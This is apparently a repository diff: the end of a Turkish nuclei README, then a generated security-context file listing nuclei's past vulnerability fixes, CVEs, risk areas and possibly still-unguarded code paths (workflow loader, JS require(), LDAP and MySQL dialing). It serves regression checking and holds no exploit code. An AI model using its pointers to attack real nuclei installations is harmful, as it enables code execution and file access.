<a href="https://github.com/debasishbsws"><img src="https://avatars.githubusercontent.com/u/65381620?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denysvitali-niantic"><img src="https://avatars.githubusercontent.com/u/157139422?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fail-open"><img src="https://avatars.githubusercontent.com/u/72417455?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Xc1Ym"><img src="https://avatars.githubusercontent.com/u/29765332?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/XTeam-Wing"><img src="https://avatars.githubusercontent.com/u/25416365?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Weltolk"><img src="https://avatars.githubusercontent.com/u/40228052?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tonghuaroot"><img src="https://avatars.githubusercontent.com/u/23011166?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/praetorian-thendrickson"><img src="https://avatars.githubusercontent.com/u/69640071?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/S0obi"><img src="https://avatars.githubusercontent.com/u/4180104?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skahn007gl"><img src="https://avatars.githubusercontent.com/u/144735608?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/shouichi"><img src="https://avatars.githubusercontent.com/u/99586?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seb-elttam"><img src="https://avatars.githubusercontent.com/u/111818823?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AdallomRoy"><img src="https://avatars.githubusercontent.com/u/4046118?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rotemreiss"><img src="https://avatars.githubusercontent.com/u/9288082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/oscarintherocks"><img src="https://avatars.githubusercontent.com/u/1785821?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/xxcdd"><img src="https://avatars.githubusercontent.com/u/42600601?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/chen2aaron"><img src="https://avatars.githubusercontent.com/u/9978183?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/voidz0r"><img src="https://avatars.githubusercontent.com/u/1032286?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vince-isec"><img src="https://avatars.githubusercontent.com/u/149686094?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/true13"><img src="https://avatars.githubusercontent.com/u/18207552?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/skhalsa-sigsci"><img src="https://avatars.githubusercontent.com/u/68570441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ShuBo6"><img src="https://avatars.githubusercontent.com/u/41125338?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/seeyarh"><img src="https://avatars.githubusercontent.com/u/16869800?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/securibee"><img src="https://avatars.githubusercontent.com/u/51520913?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sduc"><img src="https://avatars.githubusercontent.com/u/2879617?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/scottdharvey"><img src="https://avatars.githubusercontent.com/u/25498254?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rykkard"><img src="https://avatars.githubusercontent.com/u/51889048?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/monitor403"><img src="https://avatars.githubusercontent.com/u/45124775?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mlec1"><img src="https://avatars.githubusercontent.com/u/42201667?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/meme-lord"><img src="https://avatars.githubusercontent.com/u/17912559?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/LazyMaple"><img src="https://avatars.githubusercontent.com/u/12314941?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/lvyaoting"><img src="https://avatars.githubusercontent.com/u/166296299?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/llussy"><img src="https://avatars.githubusercontent.com/u/18432966?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/linchizhen"><img src="https://avatars.githubusercontent.com/u/170242051?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kiokuless"><img src="https://avatars.githubusercontent.com/u/110003596?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Jarnpher553"><img src="https://avatars.githubusercontent.com/u/10233873?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/c-f"><img src="https://avatars.githubusercontent.com/u/35263248?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/hanghuge"><img src="https://avatars.githubusercontent.com/u/166206050?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/testwill"><img src="https://avatars.githubusercontent.com/u/8717479?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/galoget"><img src="https://avatars.githubusercontent.com/u/8353133?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/fudancoder"><img src="https://avatars.githubusercontent.com/u/171416994?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/revolunet"><img src="https://avatars.githubusercontent.com/u/124937?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jsoref"><img src="https://avatars.githubusercontent.com/u/2119212?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MachadoOtto"><img src="https://avatars.githubusercontent.com/u/93268441?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jonathanwalker"><img src="https://avatars.githubusercontent.com/u/14978093?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/nHurD"><img src="https://avatars.githubusercontent.com/u/233374?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/jessekelly881"><img src="https://avatars.githubusercontent.com/u/22938931?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/JaneX8"><img src="https://avatars.githubusercontent.com/u/5116641?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/eltociear"><img src="https://avatars.githubusercontent.com/u/22633385?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/atomiczsec"><img src="https://avatars.githubusercontent.com/u/75549184?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/M-Faheem-Khan"><img src="https://avatars.githubusercontent.com/u/17150767?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/denandz"><img src="https://avatars.githubusercontent.com/u/5291556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/tibbon"><img src="https://avatars.githubusercontent.com/u/82880?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/dany74q"><img src="https://avatars.githubusercontent.com/u/2129762?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0x123456789"><img src="https://avatars.githubusercontent.com/u/36066426?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/danigoland"><img src="https://avatars.githubusercontent.com/u/15079567?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/ChrisMandich"><img src="https://avatars.githubusercontent.com/u/14286797?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/austintraver"><img src="https://avatars.githubusercontent.com/u/25112463?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/socialsister"><img src="https://avatars.githubusercontent.com/u/155628741?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Anemys"><img src="https://avatars.githubusercontent.com/u/51196227?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/andreangelucci"><img src="https://avatars.githubusercontent.com/u/18552197?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/AlexS778"><img src="https://avatars.githubusercontent.com/u/98418121?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/noraj"><img src="https://avatars.githubusercontent.com/u/16578570?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/akkuman"><img src="https://avatars.githubusercontent.com/u/7813511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/zrquan"><img src="https://avatars.githubusercontent.com/u/33086594?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1efty"><img src="https://avatars.githubusercontent.com/u/18194777?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/rsrdesarrollo"><img src="https://avatars.githubusercontent.com/u/5142014?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/razin99"><img src="https://avatars.githubusercontent.com/u/44442082?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MetzinAround"><img src="https://avatars.githubusercontent.com/u/65838556?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/vil02"><img src="https://avatars.githubusercontent.com/u/65706193?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mrschyte"><img src="https://avatars.githubusercontent.com/u/8571?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/PeterDaveHello"><img src="https://avatars.githubusercontent.com/u/3691490?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/parthmalhotra"><img src="https://avatars.githubusercontent.com/u/28601533?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/owenrumney"><img src="https://avatars.githubusercontent.com/u/3049157?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Ovi3"><img src="https://avatars.githubusercontent.com/u/29408109?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/Bisstocuz"><img src="https://avatars.githubusercontent.com/u/42398278?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/daffainfo"><img src="https://avatars.githubusercontent.com/u/36522826?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/mhmdiaa"><img src="https://avatars.githubusercontent.com/u/19687798?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/MiryangJung"><img src="https://avatars.githubusercontent.com/u/48237511?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/0xmin"><img src="https://avatars.githubusercontent.com/u/44919834?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/maikthulhu"><img src="https://avatars.githubusercontent.com/u/680830?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/sttlr"><img src="https://avatars.githubusercontent.com/u/40246850?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/iamRjarpan"><img src="https://avatars.githubusercontent.com/u/45498226?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/leoloobeek"><img src="https://avatars.githubusercontent.com/u/8801754?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KristinnVikar"><img src="https://avatars.githubusercontent.com/u/93918469?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/kant01ne"><img src="https://avatars.githubusercontent.com/u/5072452?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/KeisukeYamashita"><img src="https://avatars.githubusercontent.com/u/23056537?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
<a href="https://github.com/1hehaq"><img src="https://avatars.githubusercontent.com/u/162917546?v=4" width="50" height="50" alt="" style="max-width: 100%;"></a>
|
||||
</p>
|
||||
|
||||
<br>
|
||||
<br>
|
||||
<br>
|
||||
|
||||
<div align="center">
|
||||
|
||||
<sub>**`nuclei`** [**MIT Lisansı**](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md) altında dağıtılmaktadır.</sub>
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,302 @@
|
||||
<!-- Generated by securitycontext.dev. Source HEAD: b04fc59ad056c3d818aa103a85164c633e856277. -->
|
||||
# Security Context: projectdiscovery/nuclei @ dev
|
||||
|
||||
> Reference context for editing projectdiscovery/nuclei. Before changing any component below, **preserve the listed guards and do not reintroduce these fixed issues**. Each fingerprint is a regression check, and each shared attack surface is a guard that must keep holding on every path.
|
||||
|
||||
_Generated 2026-09-03 00:44 UTC by secc_
|
||||
|
||||
_Analyzed commit: b04fc59ad056c3d818aa103a85164c633e856277_
|
||||
|
||||
**Remediation coverage: 26.5%**
|
||||
_9 of 34 historical fixes have no remaining unguarded variant; 522 open remediation leads to verify. Measures fix consistency, not a vulnerability verdict._
|
||||
|
||||
- Commits analyzed: **4820**
|
||||
- Commits flagged for review: **415**
|
||||
- Confirmed historical security fixes: **38**
|
||||
- Known published CVEs: **6**
|
||||
- Project type: **client**, excluding 34 availability-only (DoS/crash) finding(s) as out-of-scope for a non-server project
|
||||
|
||||
## Summary
|
||||
|
||||
Nuclei's historical security posture is dominated by sandbox and trust-boundary enforcement failures: template-driven code execution, local file access, and network egress are repeatedly gated inconsistently across loaders, protocol runtimes, and JS helper libraries. Signature verification bypasses (CVE-2024-43405, CVE-2024-27920) and expression/DSL injection (CVE-2026-41645, CVE-2026-41282) show that untrusted template content and response data are persistently re-evaluated or executed. Path traversal and arbitrary file write/read issues cluster in file-loading and output-writing paths, often due to weak prefix checks or missing sandbox flags. The most critical theme is asymmetric enforcement: a guard applied on one entry point (e.g., direct template load) is frequently missing on sibling paths (workflows, JS runtime, protocol sinks, helper libraries).
|
||||
|
||||
## Recurring Security Patterns
|
||||
|
||||
**18.4% of classified fixes repeat a previously fixed pattern** (7 recurring, 31 first-seen). A recurring pattern means this repository fixed a similar issue before — not that the code is currently vulnerable.
|
||||
|
||||
- **Code Execution / Signature Bypass:** [fac0b7196d](https://github.com/projectdiscovery/nuclei/commit/fac0b7196d2fbca56c8af8ff8e1899c111041a37) → [9de96e4dda](https://github.com/projectdiscovery/nuclei/commit/9de96e4dda5a03da963b9ae6582f03ea55791a76) — matched on `CWE-347`, `component:pkg/catalog/loader/loader.go`
|
||||
- **Auth Bypass:** [1c440e755a](https://github.com/projectdiscovery/nuclei/commit/1c440e755a97471c56fb0276ee8a8c4132974645) → [fac0b7196d](https://github.com/projectdiscovery/nuclei/commit/fac0b7196d2fbca56c8af8ff8e1899c111041a37) — matched on `CWE-347`, `component:pkg/catalog/loader/loader.go`
|
||||
- **SSRF:** [a167e6c57b](https://github.com/projectdiscovery/nuclei/commit/a167e6c57b80f5dc7be231231b62d7c594ee2770) → [9def9af7e3](https://github.com/projectdiscovery/nuclei/commit/9def9af7e3f7ebcf5cd561c37b623b9999ee7572) — matched on `class:ssrf`, `CWE-918`, `component:pkg/js/libs/ldap/ldap.go`
|
||||
- **Path Traversal:** [e510bc207f](https://github.com/projectdiscovery/nuclei/commit/e510bc207f4336058f7b1536ddbb3942b394b05c) → [f663d1c9cf](https://github.com/projectdiscovery/nuclei/commit/f663d1c9cf77da53533bf328750621b4a9fa996d) — matched on `class:path traversal`, `CWE-22`, `sink:os openfile`
|
||||
- **Path Traversal:** [e7fb40a413](https://github.com/projectdiscovery/nuclei/commit/e7fb40a41308f6c41267e858d1781eb67f7e0572) → [e5154d362a](https://github.com/projectdiscovery/nuclei/commit/e5154d362af900e83b30fb79028bfab1a7f0c648) — matched on `class:path traversal`, `CWE-22`, `component:v2/pkg/protocols/common/generators`
|
||||
- **Insecure File Permissions:** [4bccb6cf8a](https://github.com/projectdiscovery/nuclei/commit/4bccb6cf8a830724b3bda624cb3bfe43eff31683) → [af4854f90d](https://github.com/projectdiscovery/nuclei/commit/af4854f90de728bb08689d5cae3dec4acfdb6b9a) — matched on `CWE-732`, `sink:os openfile`
|
||||
- **Path Traversal:** [f9c214a66f](https://github.com/projectdiscovery/nuclei/commit/f9c214a66f37a00fc29fe64232b690e6285ec59c) → [e510bc207f](https://github.com/projectdiscovery/nuclei/commit/e510bc207f4336058f7b1536ddbb3942b394b05c) — matched on `class:path traversal`, `CWE-22`, `sink:os openfile`
|
||||
|
||||
## Top Risks
|
||||
|
||||
### 1. Code Execution / Signature Bypass: `pkg/catalog/loader/loader.go, pkg/templates/compile.go, pkg/protocols/javascript/js.go` (critical)
|
||||
|
||||
Unsigned or unverified templates with JavaScript init blocks were compiled and executed; verification results were not bound to content digests, allowing cache reuse of stale verification. This is the root of multiple RCE and signature bypass CVEs.
|
||||
|
||||
Evidence: 9de96e4dda5a03da963b9ae6582f03ea55791a76, CVE-2024-43405, CVE-2024-27920
|
||||
|
||||
### 2. Remote Code Execution: `pkg/protocols/code, pkg/protocols, pkg/templates/workflows.go` (high)
|
||||
|
||||
Code protocol execution sink lacked gating for signature verification and the -code flag; workflows could load unsigned code templates; dynamic runtime values were recursively evaluated as DSL expressions. Multiple independent paths to local code execution.
|
||||
|
||||
Evidence: 1427b35cdbcb11a63c338700fe8e228ada8ec59d, ccbfb12bd01447ba25f6e755dfb2bee677736da6, e86f38299765b82ad724fdb701557e0eaff3884d
|
||||
|
||||
### 3. Path Traversal: `pkg/catalog/config, pkg/js/compiler, v2/pkg/protocols/common/generators, v2/internal/runner/update.go` (high)
|
||||
|
||||
Weak lexical prefix checks allowed sibling paths to bypass containment; JS runtime allowed local file reads via require(); payload loading and template updater lacked path canonicalization, enabling arbitrary file read/write and Zip Slip.
|
||||
|
||||
Evidence: 20cbf0bd73893c1270582c9778b6b26a5cb11206, 6f2ade6a9b427c284c15a43445f9c7f055e60e5d, e5154d362af900e83b30fb79028bfab1a7f0c648, f9c214a66f37a00fc29fe64232b690e6285ec59c
|
||||
|
||||
### 4. Expression Language Injection: `pkg/protocols/common/expressions` (high)
|
||||
|
||||
Template-authored expressions were parsed after placeholder substitution, allowing untrusted response-derived data to be re-evaluated as DSL expressions. Related CVEs confirm multi-step template injection with -env-vars.
|
||||
|
||||
Evidence: d2217320162d5782ca7cb95bef9dda17063818f3, CVE-2026-41645, CVE-2026-41282
|
||||
|
||||
### 5. SSRF: `pkg/js/libs/ldap/ldap.go, pkg/js/libs/smb/smb.go` (high)
|
||||
|
||||
LDAP host validation checked the domain instead of the actual target address; SMB dialing lacked host allowlist checks. JS helper libraries bypassed the global network policy.
|
||||
|
||||
Evidence: a167e6c57b80f5dc7be231231b62d7c594ee2770, a677fca192ee732a7b0a278f725517fa998b7897
|
||||
|
||||
### 6. Sandbox Escape: `v2/pkg/protocols/common/generators/validate.go, v2/internal/runner/processor.go` (high)
|
||||
|
||||
Go-template payload generators and Tengo scripting in workflows allowed unsafe functions and arbitrary imports, escaping the intended sandbox and enabling system command execution.
|
||||
|
||||
Evidence: aefa2717f7d6d1702e3008ac18ebdcc3660dc256, 96049a32fa70aef0483d4180d386a57b3c2d973a
|
||||
|
||||
## Shared Attack Surfaces
|
||||
|
||||
Capabilities guarded by more than one past fix on different code paths. A guard enforced on one entry point is often missing on a sibling; verify each alternate path before assuming it's covered.
|
||||
|
||||
### 1. Privileged-type opt-in for template execution (code, JavaScript, self-contained, file-protocol, DAST)
|
||||
|
||||
- Guard that should hold everywhere: signature verification (Verify, parsed.IsUnsignedJavascriptTemplate), -code flag, parsed.SelfContained flag, parsed.HasFileProtocol() flag, DASTServerToken length >= 16
|
||||
- Entry points: `pkg/catalog/loader/loader.go`, `pkg/templates/compile.go`, `pkg/protocols/code`, `pkg/protocols/javascript/js.go`, `pkg/templates/workflows.go`
|
||||
- Check: Verify the workflow sub-template loader enforces signature verification and the -code flag for code templates, AND the self-contained and file-protocol opt-ins, not just the code-template one. Also check the DAST-mode loader path for the same full set.
|
||||
- Evidence: 9de96e4dda5a03da963b9ae6582f03ea55791a76, fac0b7196d2fbca56c8af8ff8e1899c111041a37, 1427b35cdbcb11a63c338700fe8e228ada8ec59d, 1c440e755a97471c56fb0276ee8a8c4132974645, 63687c2ce07e464f6b38f797d81a8b92597f6ef9, e86f38299765b82ad724fdb701557e0eaff3884d
|
||||
|
||||
### 2. Local file access sandbox (LFA) across JS runtime, payloads, extractors, headless
|
||||
|
||||
- Guard that should hold everywhere: path canonicalization + prefix check, LfaAllowed flag, template-directory confinement, file:// opt-in, FilesInput opt-in
|
||||
- Entry points: `pkg/js/compiler`, `pkg/js/global/scripts.go`, `v2/pkg/protocols/common/generators`, `pkg/operators/extractors`, `v2/pkg/protocols/headless/engine/page_actions.go`, `pkg/protocols/common/protocolstate/file.go`
|
||||
- Check: Inspect the JS runtime's require() source loader and the headless page-actions path: they must enforce the same canonical path containment and LFA flag as the payload generator and extractor paths.
|
||||
- Evidence: 6f2ade6a9b427c284c15a43445f9c7f055e60e5d, e5154d362af900e83b30fb79028bfab1a7f0c648, e7fb40a41308f6c41267e858d1781eb67f7e0572, f663d1c9cf77da53533bf328750621b4a9fa996d, d3928e080d819f25306bfbaecc399f03516db5aa, 5b89811b906f086e47fdf5357a5ee367f8f1daef
|
||||
|
||||
### 3. Network egress policy (host allowlist) for JS helper protocols and remote template loading
|
||||
|
||||
- Guard that should hold everywhere: protocolstate.IsHostAllowed, dialers.Fastdialer.Dial/DialTLSWithConfig, remote-template-domain allowlist
|
||||
- Entry points: `pkg/js/libs/ldap/ldap.go`, `pkg/js/libs/smb/smb.go`, `pkg/js/libs/mysql/mysql.go`, `v2/pkg/catalog/loader`
|
||||
- Check: Verify the MySQL DSN and LDAP dial paths check the actual target host (not just a derived domain) and that the remote-template loader applies the domain allowlist before http.Get, matching the SMB dial check.
|
||||
- Evidence: 9def9af7e3f7ebcf5cd561c37b623b9999ee7572, a167e6c57b80f5dc7be231231b62d7c594ee2770, a677fca192ee732a7b0a278f725517fa998b7897, 9611926a9a1ca99e8ed554d1b26fbeff60e06368, d1303797c0e5f88343a1f2ed781955dd086df03d
|
||||
|
||||
### 4. Template expression evaluation boundary (response data vs. template DSL)
|
||||
|
||||
- Guard that should hold everywhere: collect expressions before placeholder substitution (FindExpressions), treat runtime values as literal data (expressions.Evaluate)
|
||||
- Entry points: `pkg/protocols/common/expressions`, `pkg/protocols`
|
||||
- Check: Inspect multi-step template processing where HTTP response data flows into expression evaluation: ensure expressions are collected before substitution on every path, including headless and JavaScript protocol steps.
|
||||
- Evidence: d2217320162d5782ca7cb95bef9dda17063818f3, ccbfb12bd01447ba25f6e755dfb2bee677736da6
|
||||
|
||||
## Historical Vulnerability Classes
|
||||
|
||||
| Class | Count |
|
||||
|---|---|
|
||||
| Path Traversal | 10 |
|
||||
| Auth Bypass | 6 |
|
||||
| Remote Code Execution | 3 |
|
||||
| Sandbox Escape | 3 |
|
||||
| SSRF | 2 |
|
||||
| Arbitrary Code Execution | 1 |
|
||||
| Arbitrary File Read | 1 |
|
||||
| Code Execution | 1 |
|
||||
| Code Execution / Signature Bypass | 1 |
|
||||
| Cryptographically Weak PRNG | 1 |
|
||||
| Expression Language Injection | 1 |
|
||||
| Information Disclosure | 1 |
|
||||
| Insecure File Permissions | 1 |
|
||||
| Insecure Permissions | 1 |
|
||||
| Race Condition | 1 |
|
||||
| SQL Injection | 1 |
|
||||
| Sandbox Bypass | 1 |
|
||||
| Server-Side Request Forgery | 1 |
|
||||
| Signature Bypass | 1 |
|
||||
|
||||
## Fixed-Issue Fingerprints
|
||||
|
||||
These are real security fixes mined from git history. Use them as regression checks.
|
||||
|
||||
- **Code Execution / Signature Bypass** (critical) [CWE-347]: This commit fixes a signature verification bypass that allowed unsigned templates with JavaScript init blocks to be compiled and executed, by binding verification results to content digests and enforcing verification before compilation.
|
||||
- sink: `Template compilation and JavaScript execution of unsigned or unverified templates`
|
||||
- fix: Signature verification enforced before protocol compilation and at request execution; verification result bound to content digest and verifier fingerprint to prevent cache reuse of stale verification.
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/9de96e4dda5a03da963b9ae6582f03ea55791a76 (2026-08-04)
|
||||
- **Auth Bypass** (high) [CWE-347]: Enforce template signature verification for javascript-protocol templates before loading and executing them.
|
||||
- sink: `execution path`
|
||||
- fix: signature check for javascript templates
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/fac0b7196d2fbca56c8af8ff8e1899c111041a37 (2026-07-03)
|
||||
- **Remote Code Execution** (high) [CWE-94]: Enforce signature verification and the code execution flag (-code) directly within the code protocol execution sink to prevent execution of untrusted templates via indirect SDK/API paths.
|
||||
- sink: `ExecuteWithResults`
|
||||
- fix: gated check for enabled and signature-verified templates
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/1427b35cdbcb11a63c338700fe8e228ada8ec59d (2026-07-03)
|
||||
- **Remote Code Execution** (high) [CWE-94]: Fixes a template-injection risk where dynamic runtime values/extracted payloads were recursively evaluated as DSL expressions instead of being treated as literal data.
|
||||
- sink: `expressions.Evaluate`
|
||||
- fix: template rendering boundary
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/ccbfb12bd01447ba25f6e755dfb2bee677736da6 (2026-06-30)
|
||||
- **Path Traversal** (medium) [CWE-22]: Enforce Nuclei's local file sandbox restrictions on the Kerberos credential cache (ccache) output paths in krbforge helper to prevent arbitrary file writes.
|
||||
- sink: `github.com/Mzack9999/goimpacket/pkg/kerberos.CreateTicket`
|
||||
- fix: path canonicalization + prefix check
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/3a8b65cb45f121fcdf418f60e5177ed9f250c122 (2026-06-24)
|
||||
- **SSRF** (medium) [CWE-918]: Enforce the configured network policy and local network restrictions on LDAP/LDAPS/LDAPI protocols prior to dialing hosts.
|
||||
- sink: `dialers.Fastdialer.Dial`
|
||||
- fix: host allowlist
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/9def9af7e3f7ebcf5cd561c37b623b9999ee7572 (2026-06-24)
|
||||
- **Arbitrary File Read** (high) [CWE-200]: Enforces local file access sandbox restrictions on MySQL connections by disabling the allowAllFiles option in the DSN unless the local file access (-lfa) flag is set.
|
||||
- sink: `sql.Open`
|
||||
- fix: host allowlist
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/9611926a9a1ca99e8ed554d1b26fbeff60e06368 (2026-06-19)
|
||||
- **Code Execution** (high) [CWE-347]: Fixes a signature validation bypass that allowed unsigned Code templates to execute arbitrary local commands when run under DAST mode.
|
||||
- sink: `LoadTemplatesWithTags`
|
||||
- fix: signature verification before execution
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/1c440e755a97471c56fb0276ee8a8c4132974645 (2026-06-19)
|
||||
- **Path Traversal** (medium) [CWE-22]: Fixes path containment validation vulnerabilities across several filesystem boundaries by replacing weak lexical prefix checks (which allowed sibling paths of trusted directories to bypass security restrictions) with path-aware canonical containment checks.
|
||||
- sink: `filepath.Rel`
|
||||
- fix: path canonicalization + prefix check
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/20cbf0bd73893c1270582c9778b6b26a5cb11206 (2026-06-04)
|
||||
- **Path Traversal** (high) [CWE-22]: Fixes a sandbox bypass in the JavaScript runtime compiler and template runner that allowed local file access and module importing regardless of restrictions by canonicalizing symlinks and clearing cached modules between runtime executions.
|
||||
- sink: `require.DefaultSourceLoader`
|
||||
- fix: path canonicalization + prefix check
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/6f2ade6a9b427c284c15a43445f9c7f055e60e5d (2026-04-10)
|
||||
- **Expression Language Injection** (high) [CWE-917]: Fixes an expression injection vulnerability by parsing and collecting template-authored expressions before placeholder substitution, preventing untrusted response-derived data from being re-evaluated as DSL expressions.
|
||||
- sink: `pkg/protocols/common/expressions/expressions.go`
|
||||
- fix: collect expressions before placeholder substitution
|
||||
- commit: https://github.com/projectdiscovery/nuclei/commit/d2217320162d5782ca7cb95bef9dda17063818f3 (2026-03-16)
|
||||
- **Cryptographically Weak PRNG** (medium) [CWE-338]: Replaces the cryptographically insecure math/rand PRNG with crypto/rand in JavaScript helper functions to prevent predictable token generation.
|
||||
- sink: `math/rand.Intn`
